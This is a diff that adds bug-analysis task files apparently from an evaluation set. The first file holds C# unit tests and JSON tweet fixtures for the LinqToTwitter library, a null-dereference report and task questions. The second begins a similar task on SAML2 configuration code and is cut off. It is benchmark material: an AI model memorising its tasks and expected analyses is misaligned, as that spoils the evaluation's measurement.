+                    { nameof(TweetQuery.UserFields), "created_at, verified" },
+               };
+
+            Request req = tweetReqProc.BuildUrl(parameters);
+
+            Assert.AreEqual(ExpectedUrl, req.FullUrl);
+        }
+
+		[TestMethod]
+		public void BuildUrl_ForList_IncludesParameters()
+		{
+			const string ExpectedUrl =
+				BaseUrl2 + "lists/12345/tweets?" +
+				"expansions=author_id&" +
+				"max_results=50&" +
+				"pagination_token=def&" +
+				"tweet.fields=author_id%2Ccreated_at&" +
+				"user.fields=created_at%2Cverified";
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.List.ToString() },
+					{ nameof(TweetQuery.ListID), "12345" },
+					{ nameof(TweetQuery.Expansions), "author_id" },
+					{ nameof(TweetQuery.MaxResults), "50" },
+					{ nameof(TweetQuery.PaginationToken), "def" },
+					{ nameof(TweetQuery.TweetFields), "author_id,created_at" },
+					{ nameof(TweetQuery.UserFields), "created_at,verified" },
+			   };
+
+			Request req = tweetReqProc.BuildUrl(parameters);
+
+			Assert.AreEqual(ExpectedUrl, req.FullUrl);
+		}
+
+		[TestMethod]
+		public void BuildUrl_ForPinnedWithSpacesInFields_RemovesSpaces()
+		{
+			const string ExpectedUrl =
+				BaseUrl2 + "lists/12345/tweets?" +
+				"expansions=author_id&" +
+				"max_results=50&" +
+				"pagination_token=def&" +
+				"tweet.fields=author_id%2Ccreated_at&" +
+				"user.fields=created_at%2Cverified";
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.List.ToString() },
+					{ nameof(TweetQuery.ListID), "12345" },
+					{ nameof(TweetQuery.Expansions), "author_id" },
+					{ nameof(TweetQuery.MaxResults), "50" },
+					{ nameof(TweetQuery.PaginationToken), "def" },
+					{ nameof(TweetQuery.TweetFields), "author_id, created_at" },
+					{ nameof(TweetQuery.UserFields), "created_at, verified" },
+			   };
+
+			Request req = tweetReqProc.BuildUrl(parameters);
+
+			Assert.AreEqual(ExpectedUrl, req.FullUrl);
+		}
+
+		[TestMethod]
+		public void BuildUrl_ForPinned_RequiresListID()
+		{
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.List.ToString() },
+					//{ nameof(TweetQuery.ListID), "1234" },
+			   };
+
+			ArgumentException ex =
+				L2TAssert.Throws<ArgumentException>(() =>
+					tweetReqProc.BuildUrl(parameters));
+
+			Assert.AreEqual(nameof(TweetQuery.ListID), ex.ParamName);
+		}
+
+		[TestMethod]
+        public void BuildUrl_ForLookup_RequiresIds()
+        {
+            var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+            var parameters =
+                new Dictionary<string, string>
+                {
+                    { nameof(TweetQuery.Type), TweetType.Lookup.ToString() },
+                    //{ nameof(Tweet.Ids), null }
+                };
+
+            ArgumentException ex =
+                L2TAssert.Throws<ArgumentException>(() =>
+                    tweetReqProc.BuildUrl(parameters));
+
+            Assert.AreEqual(nameof(TweetQuery.Ids), ex.ParamName);
+        }
+
+		[TestMethod]
+		public void BuildUrl_ForUserTimeline_RequiresID()
+		{
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.TweetsTimeline.ToString() },
+                    //{ nameof(Tweet.ID), null }
+                };
+
+			ArgumentException ex =
+				L2TAssert.Throws<ArgumentException>(() =>
+					tweetReqProc.BuildUrl(parameters));
+
+			Assert.AreEqual(nameof(TweetQuery.ID), ex.ParamName);
+		}
+
+		[TestMethod]
+		public void BuildUrl_ForMentionsTimeline_RequiresID()
+		{
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.MentionsTimeline.ToString() },
+                    //{ nameof(Tweet.ID), null }
+                };
+
+			ArgumentException ex =
+				L2TAssert.Throws<ArgumentException>(() =>
+					tweetReqProc.BuildUrl(parameters));
+
+			Assert.AreEqual(nameof(TweetQuery.ID), ex.ParamName);
+		}
+
+		[TestMethod]
+		public void BuildUrl_ForSpaceTweets_ConstructsUrl()
+		{
+			const string ExpectedUrl =
+				BaseUrl2 + "spaces/345/tweets?" +
+				"expansions=attachments.poll_ids%2Cauthor_id&" +
+				"media.fields=height%2Cwidth&" +
+				"place.fields=country&" +
+				"poll.fields=duration_minutes%2Cend_datetime&" +
+				"tweet.fields=author_id%2Ccreated_at&" +
+				"user.fields=created_at%2Cverified";
+			var reqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.SpaceTweets.ToString() },
+					{ nameof(TweetQuery.SpaceID), "345" },
+					{ nameof(TweetQuery.Expansions), "attachments.poll_ids,author_id" },
+					{ nameof(TweetQuery.MediaFields), "height,width" },
+					{ nameof(TweetQuery.PlaceFields), "country" },
+					{ nameof(TweetQuery.PollFields), "duration_minutes,end_datetime" },
+					{ nameof(TweetQuery.TweetFields), "author_id,created_at" },
+					{ nameof(TweetQuery.UserFields), "created_at,verified" }
+			   };
+
+			Request req = reqProc.BuildUrl(parameters);
+
+			Assert.AreEqual(ExpectedUrl, req.FullUrl);
+		}
+
+		[TestMethod]
+        public void ProcessResults_Populates_Tweets()
+        {
+            var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+            List<TweetQuery> results = tweetProc.ProcessResults(SingleTweet);
+
+            Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+            Assert.IsNotNull(tweetQuery);
+            List<Tweet> tweets = tweetQuery.Tweets;
+            Assert.IsNotNull(tweets);
+            Assert.AreEqual(1, tweets.Count);
+            Tweet tweet = tweets.FirstOrDefault();
+            Assert.IsNotNull(tweet);
+			Assert.AreEqual("en", tweet.Language);
+            Assert.AreEqual("Thanks @github for approving sponsorship for LINQ to Twitter: https://t.co/jWeDEN07HN", tweet.Text);
+            Assert.AreEqual("1305895383260782593", tweet.ID);
+			Assert.AreEqual("15411837", tweet.AuthorID);
+			Assert.AreEqual(DateTime.Parse("2020-09-15T15:44:56.000Z").Date, tweet.CreatedAt?.Date);
+			Assert.AreEqual("1305895383260782593", tweet.ConversationID);
+			Assert.IsTrue(tweet.PossiblySensitive ?? false);
+			Assert.AreEqual(tweet.ReplySettings, TweetReplySettings.Everyone);
+			Assert.AreEqual("Twitter Web App", tweet.Source);
+        }
+
+		[TestMethod]
+		public void ProcessResults_Populates_Entities()
+		{
+			var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+			List<TweetQuery> results = tweetProc.ProcessResults(SingleTweet);
+
+			Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+			Assert.IsNotNull(tweetQuery);
+
+			List<Tweet> tweets = tweetQuery.Tweets;
+			Assert.IsNotNull(tweets);
+			Assert.AreEqual(1, tweets.Count);
+			Tweet tweet = tweets.FirstOrDefault();
+			Assert.IsNotNull(tweet);
+			TweetEntities entities = tweet.Entities;
+			Assert.IsNotNull(entities);
+
+			TweetEntityAnnotation annotation = entities?.Annotations?.FirstOrDefault();
+			Assert.IsNotNull(annotation);
+			Assert.AreEqual(53, annotation.Start);
+			Assert.AreEqual(59, annotation.End);
+			Assert.AreEqual(0.5865f, annotation.Probability);
+			Assert.AreEqual("Organization", annotation.Type);
+			Assert.AreEqual("Twitter", annotation.NormalizedText);
+
+			TweetEntityMention mention = entities?.Mentions?.FirstOrDefault();
+			Assert.IsNotNull(mention);
+			Assert.AreEqual(14, mention.End);
+			Assert.AreEqual("13334762", mention.ID);
+			Assert.AreEqual(7, mention.Start);
+			Assert.AreEqual("github", mention.Username);
+
+			TweetEntityUrl url = entities?.Urls?.FirstOrDefault();
+			Assert.IsNotNull(url);
+			Assert.AreEqual(62, url.Start);
+			Assert.AreEqual(85, url.End);
+            Assert.AreEqual("https://t.co/jWeDEN07HN", url.Url);
+			Assert.AreEqual("http://bit.ly/1b2wrHb", url.ExpandedUrl);
+			Assert.AreEqual("bit.ly/1b2wrHb", url.DisplayUrl);
+			Assert.AreEqual(200, url.Status);
+			Assert.AreEqual("GitHub - JoeMayo/LinqToTwitter: LINQ Provider for the Twitter API (C# Twitter Library)", url.Title);
+			Assert.AreEqual("LINQ Provider for the Twitter API (C# Twitter Library) - GitHub - JoeMayo/LinqToTwitter: LINQ Provider for the Twitter API (C# Twitter Library)", url.Description);
+			Assert.AreEqual("https://github.com/JoeMayo/LinqToTwitter", url.UnwoundUrl);
+			List<TweetEntityImage> images = url.Images;
+			Assert.IsNotNull(images);
+			Assert.AreEqual(2, images.Count);
+			TweetEntityImage image = images.First();
+			Assert.AreEqual("https://pbs.twimg.com/news_img/1527013178009329664/f45coPtn?format=png&name=orig", image.Url);
+			Assert.AreEqual(200, image.Width);
+			Assert.AreEqual(200, image.Height);
+		}
+
+		[TestMethod]
+		public void ProcessResults_Populates_ContextAnnotations()
+		{
+			var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+			List<TweetQuery> results = tweetProc.ProcessResults(SingleTweet);
+
+			Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+			Assert.IsNotNull(tweetQuery);
+			List<Tweet> tweets = tweetQuery.Tweets;
+			Assert.IsNotNull(tweets);
+			Assert.AreEqual(1, tweets.Count);
+			Tweet tweet = tweets.FirstOrDefault();
+			Assert.IsNotNull(tweet);
+
+			List<TweetContextAnnotation> annotations = tweet.ContextAnnotations;
+			Assert.IsNotNull(annotations);
+			Assert.AreEqual(7, annotations.Count);
+			TweetContextAnnotation annotation = annotations.First();
+			Assert.IsNotNull(annotation);
+			TweetContextAnnotationDetails domain = annotation.Domain;
+			Assert.IsNotNull(domain);
+			Assert.AreEqual("46", domain.ID);
+			Assert.AreEqual("Brand Category", domain.Name);
+			Assert.AreEqual("Categories within Brand Verticals that narrow down the scope of Brands", domain.Description);
+			TweetContextAnnotationDetails entity = annotation.Entity;
+			Assert.IsNotNull(entity);
+			Assert.AreEqual("781974596752842752", entity.ID);
+			Assert.AreEqual("Services", entity.Name);
+		}
+
+		[TestMethod]
+		public void ProcessResults_Populates_PublicMetrics()
+		{
+			var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+			List<TweetQuery> results = tweetProc.ProcessResults(SingleTweet);
+
+			Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+			Assert.IsNotNull(tweetQuery);
+			List<Tweet> tweets = tweetQuery.Tweets;
+			Assert.IsNotNull(tweets);
+			Assert.AreEqual(1, tweets.Count);
+			Tweet tweet = tweets.FirstOrDefault();
+			Assert.IsNotNull(tweet);
+
+			TweetPublicMetrics metrics = tweet.PublicMetrics;
+			Assert.IsNotNull(metrics);
+			Assert.AreEqual(1, metrics.RetweetCount);
+			Assert.AreEqual(1, metrics.ReplyCount);
+			Assert.AreEqual(1, metrics.LikeCount);
+			Assert.AreEqual(0, metrics.QuoteCount);
+		}
+
+		[TestMethod]
+		public void ProcessResults_Populates_Includes()
+		{
+			var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+			List<TweetQuery> results = tweetProc.ProcessResults(SingleTweet);
+
+			Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+			Assert.IsNotNull(tweetQuery);
+			TwitterInclude includes = tweetQuery.Includes;
+			Assert.IsNotNull(includes);
+			List<TwitterUser> users = includes.Users;
+			Assert.IsNotNull(users);
+			Assert.AreEqual(2, users.Count);
+			TwitterPoll poll = includes.Polls?.SingleOrDefault();
+			Assert.IsNotNull(poll);
+			Assert.AreEqual(1440, poll.DurationMinutes);
+			Assert.AreEqual(DateTime.Parse("2019-11-28T20:26:41.000Z").ToUniversalTime(), poll.EndDateTime);
+			Assert.AreEqual("1199786642468413448", poll.ID);
+			Assert.AreEqual("closed", poll.VotingStatus);
+			List<TwitterPollOption> options = poll.Options;
+			Assert.IsNotNull(options);
+			Assert.AreEqual(2, options.Count);
+			TwitterPollOption option = options.FirstOrDefault();
+			Assert.IsNotNull(option);
+			Assert.AreEqual(1, option.Position);
+			Assert.AreEqual("“C Sharp”", option.Label);
+			Assert.AreEqual(795, option.Votes);
+		}
+
+		[TestMethod]
+        public void ProcessResults_Handles_Response_With_No_Results()
+        {
+            var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+            List<TweetQuery> results = tweetProc.ProcessResults(ErrorTweet);
+
+            Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+            Assert.IsNotNull(tweetQuery);
+            List<Tweet> tweets = tweetQuery.Tweets;
+            Assert.IsNull(tweets);
+        }
+
+		[TestMethod]
+		public void ProcessResults_PopulatesInputParameters()
+		{
+			var tweetProc = new TweetRequestProcessor<TweetQuery>()
+			{
+				BaseUrl = BaseUrl2,
+				Type = TweetType.MentionsTimeline,
+				ID = "567",
+				Ids = "123,456",
+				EndTime = new DateTime(2020, 12, 31),
+				Exclude = TweetExcludes.Retweets,
+				MaxResults = 73,
+				Expansions = "123",
+				MediaFields = "456",
+				PaginationToken = "567",
+				PlaceFields = "012",
+				PollFields = "345",
+				SinceID = "890",
+				SpaceID = "345",
+				StartTime = new DateTime(2020, 1, 1),
+				TweetFields = "678",
+				UntilID = "123",
+				UserFields = "234"
+			};
+
+			var results = tweetProc.ProcessResults(SingleTweet);
+
+			Assert.IsNotNull(results);
+			Assert.AreEqual(1, results.Count);
+			var tweetQuery = results.Single();
+			Assert.IsNotNull(tweetQuery);
+			Assert.AreEqual(TweetType.MentionsTimeline, tweetQuery.Type);
+			Assert.AreEqual(new DateTime(2020, 12, 31), tweetQuery.EndTime);
+			Assert.AreEqual(TweetExcludes.Retweets, tweetQuery.Exclude);
+			Assert.AreEqual("123", tweetQuery.Expansions);
+			Assert.AreEqual("567", tweetQuery.ID);
+			Assert.AreEqual("123,456", tweetQuery.Ids);
+			Assert.AreEqual(73, tweetQuery.MaxResults);
+			Assert.AreEqual("456", tweetQuery.MediaFields);
+			Assert.AreEqual("567", tweetQuery.PaginationToken);
+			Assert.AreEqual("012", tweetQuery.PlaceFields);
+			Assert.AreEqual("345", tweetQuery.PollFields);
+			Assert.AreEqual("890", tweetQuery.SinceID);
+			Assert.AreEqual("345", tweetQuery.SpaceID);
+			Assert.AreEqual(new DateTime(2020, 1, 1), tweetQuery.StartTime);
+			Assert.AreEqual("678", tweetQuery.TweetFields);
+			Assert.AreEqual("123", tweetQuery.UntilID);
+			Assert.AreEqual("234", tweetQuery.UserFields);
+		}
+
+		[TestMethod]
+        public void ProcessResults_WithErrors_PopulatesErrorList()
+        {
+            var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+            List<TweetQuery> results = tweetProc.ProcessResults(ErrorTweet);
+
+            Assert.IsNotNull(results);
+			TweetQuery tweetQuery = results.SingleOrDefault();
+            Assert.IsNotNull(tweetQuery);
+            List<TwitterError> errors = tweetQuery.Errors;
+            Assert.IsNotNull(errors);
+            Assert.AreEqual(1, errors.Count);
+            TwitterError error = errors.FirstOrDefault();
+            Assert.IsNotNull(error);
+            Assert.AreEqual("Could not find tweet with ids: [1].", error.Detail);
+            Assert.AreEqual("Not Found Error", error.Title);
+            Assert.AreEqual("tweet", error.ResourceType);
+            Assert.AreEqual("ids", error.Parameter);
+            Assert.AreEqual("1", error.Value);
+            Assert.AreEqual("https://api.twitter.com/2/problems/resource-not-found", error.Type);
+        }
+
+		[TestMethod]
+		public void ProcessResults_WithTimeline_PopulatesTweetsAndMeta()
+		{
+			var tweetProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+			List<TweetQuery> results = tweetProc.ProcessResults(TimelineTweets);
+
+			TweetQuery tweetQuery = results?.SingleOrDefault();
+			Assert.IsNotNull(tweetQuery);
+			List<Tweet> tweets = tweetQuery.Tweets;
+			Assert.IsNotNull(tweets);
+			Assert.AreEqual(10, tweets.Count);
+			TweetMeta meta = tweetQuery.Meta;
+			Assert.IsNotNull(meta);
+			Assert.AreEqual("7140dibdnow9c7btw421e9l0f3cacd5qxve3023jqz48g", meta.PreviousToken);
+			Assert.AreEqual("7140dibdnow9c7btw421e9l0f3cacd5qxve3023jqz48g", meta.NextToken);
+			Assert.AreEqual(10, meta.ResultCount);
+			Assert.AreEqual("1529568259011252224", meta.NewestID);
+			Assert.AreEqual("1527016962995343360", meta.OldestID);
+		}
+
+		const string SingleTweet = @"{
+	""data"": [
+		{
+			""context_annotations"": [
+				{
+					""domain"": {
+						""id"": ""46"",
+						""name"": ""Brand Category"",
+						""description"": ""Categories within Brand Verticals that narrow down the scope of Brands""
+					},
+					""entity"": {
+						""id"": ""781974596752842752"",
+						""name"": ""Services""
+					}
+				},
+				{
+					""domain"": {
+						""id"": ""47"",
+						""name"": ""Brand"",
+						""description"": ""Brands and Companies""
+					},
+					""entity"": {
+						""id"": ""10045225402"",
+						""name"": ""Twitter""
+					}
+				},
+				{
+					""domain"": {
+						""id"": ""30"",
+						""name"": ""Entities [Entity Service]"",
+						""description"": ""Entity Service top level domain, every item that is in Entity Service should be in this domain""
+					},
+					""entity"": {
+						""id"": ""848920371311001600"",
+						""name"": ""Technology"",
+						""description"": ""Technology and computing""
+					}
+				},
+				{
+					""domain"": {
+						""id"": ""66"",
+						""name"": ""Interests and Hobbies Category"",
+						""description"": ""A grouping of interests and hobbies entities, like Novelty Food or Destinations""
+					},
+					""entity"": {
+						""id"": ""848921413196984320"",
+						""name"": ""Computer programming"",
+						""description"": ""Computer programming""
+					}
+				},
+				{
+					""domain"": {
+						""id"": ""45"",
+						""name"": ""Brand Vertical"",
+						""description"": ""Top level entities that describe a Brands industry""
+					},
+					""entity"": {
+						""id"": ""781974597226799105"",
+						""name"": ""B2B""
+					}
+				},
+				{
+					""domain"": {
+						""id"": ""46"",
+						""name"": ""Brand Category"",
+						""description"": ""Categories within Brand Verticals that narrow down the scope of Brands""
+					},
+					""entity"": {
+						""id"": ""781974597172203520"",
+						""name"": ""Services""
+					}
+				},
+				{
+					""domain"": {
+						""id"": ""47"",
+						""name"": ""Brand"",
+						""description"": ""Brands and Companies""
+					},
+					""entity"": {
+						""id"": ""10040692468"",
+						""name"": ""GitHub""
+					}
+				}
+			],
+			""reply_settings"": ""everyone"",
+			""id"": ""1305895383260782593"",
+			""source"": ""Twitter Web App"",
+			""public_metrics"": {
+				""retweet_count"": 1,
+				""reply_count"": 1,
+				""like_count"": 1,
+				""quote_count"": 0
+			},
+			""lang"": ""en"",
+			""entities"": {
+				""annotations"": [
+					{
+						""start"": 53,
+						""end"": 59,
+						""probability"": 0.5865,
+						""type"": ""Organization"",
+						""normalized_text"": ""Twitter""
+					}
+				],
+				""urls"": [
+					{
+						""start"": 62,
+						""end"": 85,
+						""url"": ""https://t.co/jWeDEN07HN"",
+						""expanded_url"": ""http://bit.ly/1b2wrHb"",
+						""display_url"": ""bit.ly/1b2wrHb"",
+						""images"": [
+							{
+								""url"": ""https://pbs.twimg.com/news_img/1527013178009329664/f45coPtn?format=png&name=orig"",
+								""width"": 200,
+								""height"": 200
+							},
+							{
+								""url"": ""https://pbs.twimg.com/news_img/1527013178009329664/f45coPtn?format=png&name=150x150"",
+								""width"": 150,
+								""height"": 150
+							}
+						],
+						""status"": 200,
+						""title"": ""GitHub - JoeMayo/LinqToTwitter: LINQ Provider for the Twitter API (C# Twitter Library)"",
+						""description"": ""LINQ Provider for the Twitter API (C# Twitter Library) - GitHub - JoeMayo/LinqToTwitter: LINQ Provider for the Twitter API (C# Twitter Library)"",
+						""unwound_url"": ""https://github.com/JoeMayo/LinqToTwitter""
+					}
+				],
+				""mentions"": [
+					{
+						""start"": 7,
+						""end"": 14,
+						""username"": ""github"",
+						""id"": ""13334762""
+					}
+				]
+			},
+			""text"": ""Thanks @github for approving sponsorship for LINQ to Twitter: https://t.co/jWeDEN07HN"",
+			""conversation_id"": ""1305895383260782593"",
+			""author_id"": ""15411837"",
+			""possibly_sensitive"": true,
+			""created_at"": ""2020-09-15T15:44:56.000Z""
+		}
+	],
+	""includes"": {
+		""polls"": [
+            {
+                ""id"": ""1199786642468413448"",
+                ""voting_status"": ""closed"",
+                ""duration_minutes"": 1440,
+                ""options"": [
+                    {
+                        ""position"": 1,
+                        ""label"": ""“C Sharp”"",
+                        ""votes"": 795
+
+					},
+                    {
+                        ""position"": 2,
+                        ""label"": ""“C Hashtag”"",
+                        ""votes"": 156
+                    }
+                ],
+                ""end_datetime"": ""2019-11-28T20:26:41.000Z""
+            }
+        ],
+		""users"": [
+			{
+				""verified"": false,
+				""username"": ""JoeMayo"",
+				""created_at"": ""2008-07-13T04:35:50.000Z"",
+				""description"": ""Author, Instructor, and Independent Consultant \n\nNewest Release: C# Cookbook (https://t.co/acNTiAe6HQ)\n\n#AI #Chatbots #CSharp #Linq2Twitter #NLP"",
+				""public_metrics"": {
+					""followers_count"": 10778,
+					""following_count"": 4193,
+					""tweet_count"": 4226,
+					""listed_count"": 271
+				},
+				""url"": ""https://t.co/Pd3XsnJwJU"",
+				""pinned_tweet_id"": ""1516074915803254788"",
+				""protected"": false,
+				""name"": ""Joe Mayo"",
+				""profile_image_url"": ""https://pbs.twimg.com/profile_images/1185764990403268613/8GoXoOtz_normal.jpg"",
+				""location"": ""Las Vegas, NV"",
+				""entities"": {
+					""url"": {
+						""urls"": [
+							{
+								""start"": 0,
+								""end"": 23,
+								""url"": ""https://t.co/Pd3XsnJwJU"",
+								""expanded_url"": ""https://joemayo.medium.com"",
+								""display_url"": ""joemayo.medium.com""
+							}
+						]
+					},
+					""description"": {
+						""urls"": [
+							{
+								""start"": 78,
+								""end"": 101,
+								""url"": ""https://t.co/acNTiAe6HQ"",
+								""expanded_url"": ""http://bit.ly/CSharpCookbook"",
+								""display_url"": ""bit.ly/CSharpCookbook""
+							}
+						],
+						""hashtags"": [
+							{
+								""start"": 104,
+								""end"": 107,
+								""tag"": ""AI""
+							},
+							{
+								""start"": 108,
+								""end"": 117,
+								""tag"": ""Chatbots""
+							},
+							{
+								""start"": 118,
+								""end"": 125,
+								""tag"": ""CSharp""
+							},
+							{
+								""start"": 126,
+								""end"": 139,
+								""tag"": ""Linq2Twitter""
+							},
+							{
+								""start"": 140,
+								""end"": 144,
+								""tag"": ""NLP""
+							}
+						]
+					}
+				},
+				""id"": ""15411837""
+			},
+			{
+				""verified"": true,
+				""username"": ""github"",
+				""created_at"": ""2008-02-11T04:41:50.000Z"",
+				""description"": ""How people build software. \n\nNeed help? Send us a message at https://t.co/aspNQGzzZH for support."",
+				""public_metrics"": {
+					""followers_count"": 2277687,
+					""following_count"": 334,
+					""tweet_count"": 7061,
+					""listed_count"": 17306
+				},
+				""url"": """",
+				""protected"": false,
+				""name"": ""GitHub"",
+				""profile_image_url"": ""https://pbs.twimg.com/profile_images/1414990564408262661/r6YemvF9_normal.jpg"",
+				""location"": ""San Francisco, CA"",
+				""entities"": {
+					""description"": {
+						""urls"": [
+							{
+								""start"": 61,
+								""end"": 84,
+								""url"": ""https://t.co/aspNQGzzZH"",
+								""expanded_url"": ""https://support.github.com"",
+								""display_url"": ""support.github.com""
+							}
+						]
+					}
+				},
+				""id"": ""13334762""
+			}
+		]
+	}
+}";
+
+		const string TimelineTweets = @"{
+	""data"": [
+		{
+			""id"": ""1529568259011252224"",
+			""text"": ""RT @beeradmoore: HAHAHAHA I accidentally deployed a #dotnetmaui app to my Android watch and it just worked. https://t.co/Ral7om02o1""
+		},
+		{
+			""id"": ""1529490697618763777"",
+			""text"": ""@buhakmeh @alvinashcraft Whatever is the F5 default. Haven't had problems and will probably continue until I learn about a compelling reason to change.""
+		},
+		{
+			""id"": ""1529204113623330816"",
+			""text"": ""That last presentation I did was using C# and .NET 6 on a MacBook Pro M1. With MAUI in GA, the x-plat story for .NET improves.""
+		},
+		{
+			""id"": ""1528511616882421760"",
+			""text"": ""RT @jimwooley: Looks like I won't be able to attend the inaugural @ThatConference Austin due to flight issues. I'll still present the Stati…""
+		},
+		{
+			""id"": ""1528511186790010880"",
+			""text"": ""RT @techgirl1908: Decentralized Twitter has released early code\n\nhttps://t.co/OIgGFKUkov""
+		},
+		{
+			""id"": ""1528181517393899521"",
+			""text"": ""RT @J_aa_p: My new @TwitterDev @Linq2Twitr #Blazor WASM Twitter Client (Alpha ❗) now parses\n\n✅ Retweets\n✅ Quoted Retweets\n✅ Urls\n✅ Hashtags…""
+		},
+		{
+			""id"": ""1528100853294301184"",
+			""text"": ""RT @LauraViglioni: Finally... The GitHub bathroom https://t.co/A43IM1HUaF""
+		},
+		{
+			""id"": ""1527401749329301504"",
+			""text"": ""@RafaelH_us @tacobell https://t.co/VSO4CMu6Xa""
+		},
+		{
+			""id"": ""1527371742343114752"",
+			""text"": ""RT @jguadagno: @buhakmeh @terrajobst @mohdali If you are using C#, use the Linq2Twitter NuGet package by @JoeMayo . Its super easy to use.…""
+		},
+		{
+			""id"": ""1527016962995343360"",
+			""text"": ""Presentation slides and source code for my Intro to LINQ presentation for @DataScienceDojo today:\n\nhttps://t.co/hTx6u3RHmN""
+		}
+	],
+	""meta"": {
+		""previous_token"": ""7140dibdnow9c7btw421e9l0f3cacd5qxve3023jqz48g"",
+		""next_token"": ""7140dibdnow9c7btw421e9l0f3cacd5qxve3023jqz48g"",
+		""result_count"": 10,
+		""newest_id"": ""1529568259011252224"",
+		""oldest_id"": ""1527016962995343360""
+	}
+}";
+
+		const string ErrorTweet = @"{
+	""errors"": [
+		{
+			""detail"": ""Could not find tweet with ids: [1]."",
+			""title"": ""Not Found Error"",
+			""resource_type"": ""tweet"",
+			""parameter"": ""ids"",
+			""value"": ""1"",
+			""type"": ""https://api.twitter.com/2/problems/resource-not-found""
+		}
+	]
+}";
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `url` last assigned on line 502 could be null and is dereferenced at line 486, column 4.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TweetRequestProcessorTests.ProcessResults_Populates_Entities()
+
+### File:
+src/LinqToTwitter6/LinqToTwitter.Tests/TweetTests/TweetRequestProcessorTests.cs
+
+### Key:
+TweetRequestProcessorTests.cs|ProcessResults_Populates_Entities|NULL_DEREFERENCE
+
+### Node Key:
+a35c6d97ccef7486c04c7fb208054b5b
+
+### Hash:
+39fd217f789cd30842513141c774396c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1248/instruction.md b/inferredbugs-1248/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e4604f636ee69392668c2efac5a2d935c1638cc8
--- /dev/null
+++ b/inferredbugs-1248/instruction.md
@@ -0,0 +1,123 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ITfoxtec.Identity.Saml2
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using ITfoxtec.Identity.Saml2;
+using ITfoxtec.Identity.Saml2.Cryptography;
+using ITfoxtec.Identity.Saml2.Schemas.Metadata;
+using Microsoft.Azure.KeyVault;
+using System;
+using System.Linq;
+using System.Security.Cryptography.X509Certificates;
+
+namespace TestWebAppCoreAzureKeyVault.Identity
+{
+    public class Saml2ConfigurationLogic
+    {
+        private readonly Saml2Configuration config;
+        private readonly KeyVaultClient keyVaultClient;
+
+        public Saml2ConfigurationLogic(Saml2Configuration config, KeyVaultClient keyVaultClient)
+        {
+            this.config = config;
+            this.keyVaultClient = keyVaultClient;
+        }
+
+        public string Saml2IdPMetadata{ get; set; }
+        public string AzureKeyVaultBaseUrl { get; set; }
+        public string AzureKeyVaultCertificateName { get; set; }
+
+        public Saml2Configuration GetSaml2Configuration()
+        {
+            var saml2Configuration = new Saml2Configuration
+            {
+                Issuer = config.Issuer,
+                SignatureAlgorithm = config.SignatureAlgorithm,
+                CertificateValidationMode = config.CertificateValidationMode,
+                RevocationMode = config.RevocationMode
+            };
+
+            var certificateBundle = keyVaultClient.GetCertificateAsync(AzureKeyVaultBaseUrl, AzureKeyVaultCertificateName).GetAwaiter().GetResult();
+            var publicCertificate = new X509Certificate2(certificateBundle.Cer);
+
+            var rsa = keyVaultClient.ToRSA(certificateBundle.KeyIdentifier, publicCertificate);
+            saml2Configuration.SigningCertificate = new Saml2X509Certificate(publicCertificate, rsa);
+
+            //saml2Configuration.SignAuthnRequest = true;
+
+            saml2Configuration.AllowedAudienceUris.Add(saml2Configuration.Issuer);
+
+            var entityDescriptor = new EntityDescriptor();
